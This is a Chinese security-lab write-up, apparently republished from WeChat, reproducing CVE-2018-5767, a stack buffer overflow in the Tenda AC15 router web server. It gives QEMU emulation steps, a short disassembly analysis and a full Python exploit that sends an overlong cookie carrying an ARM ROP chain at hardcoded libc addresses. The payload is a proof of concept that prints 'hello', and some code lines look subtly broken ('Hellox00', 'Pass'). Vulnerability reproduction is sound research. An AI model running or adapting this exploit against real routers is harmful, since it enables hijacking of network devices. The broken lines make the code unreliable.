Tenda AC15 路由器存在一个溢出漏洞, 由于没有对用户的输入进行限制,导致sscanf函数直接将用户的输入直接拷贝至栈上,从而造成了栈溢出漏洞。
Tenda AC15
https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd
sudo chroot . ./qemu-arm-static ./bin/httpd
brctl addbr br0
ifconfig br0 192.168.1.1/24
chroot . ./qemu-arm-static ./bin/httpd
cp -rf ./webroot_ro/* ./webroot/
chroot . ./qemu-arm-static ./bin/httpd
根据已有POC可知溢出漏洞点位于R7WebsSecurityHandler函数中,通过IDA定位该函数并查看函数内容
该函数中漏洞点位于下图所示位置,下图所示代码含义为首先寻找到”password=”字符串位置,之后通过函数sscanf获取字符串”password=”以及之后的内容中的字符=到字符;中间的字符串即password的值,之后将截取到的内容写入v33,由于v33已定义长度为128,当截取的值长度超过128时,将造成溢出
将下面代码保存为CVE-2018-5767.py
import struct
import requests
from pwn import *
ip = "192.168.1.1"
url = "http://{:s}/goform/exeCommand".format(ip)
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"',
'Cache-Control': 'max-age=0'
}
libc=0xFF5D5000
_str = "Hellox00"
pop_r3_pc = p32(0x00018298+libc)#pop r3 pc
mov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3
print(0x00018298+libc)
puts = p32(0x035CD4+libc)
_str = _str.encode()# 'byte'
password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"
headers['Cookie']=b"password="+password
try:
response = requests.get(url,headers=headers,timeout=1)
except:
Pass
另开一个cmd窗口,执行python3 CVE-2018-5767.py
路由器日志信息输出hello
美创科技旗下第59号实验室,专注于数据安全技术领域研究,聚焦于安全防御理念、攻防技术、威胁情报等专业研究,进行知识产品转化并赋能于产品。累计向CNVD、CNNVD等平台提报数百个高质量原创漏洞,发明专利数十篇,团队著有《数据安全实践指南》
原文始发于微信公众号(第59号):Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论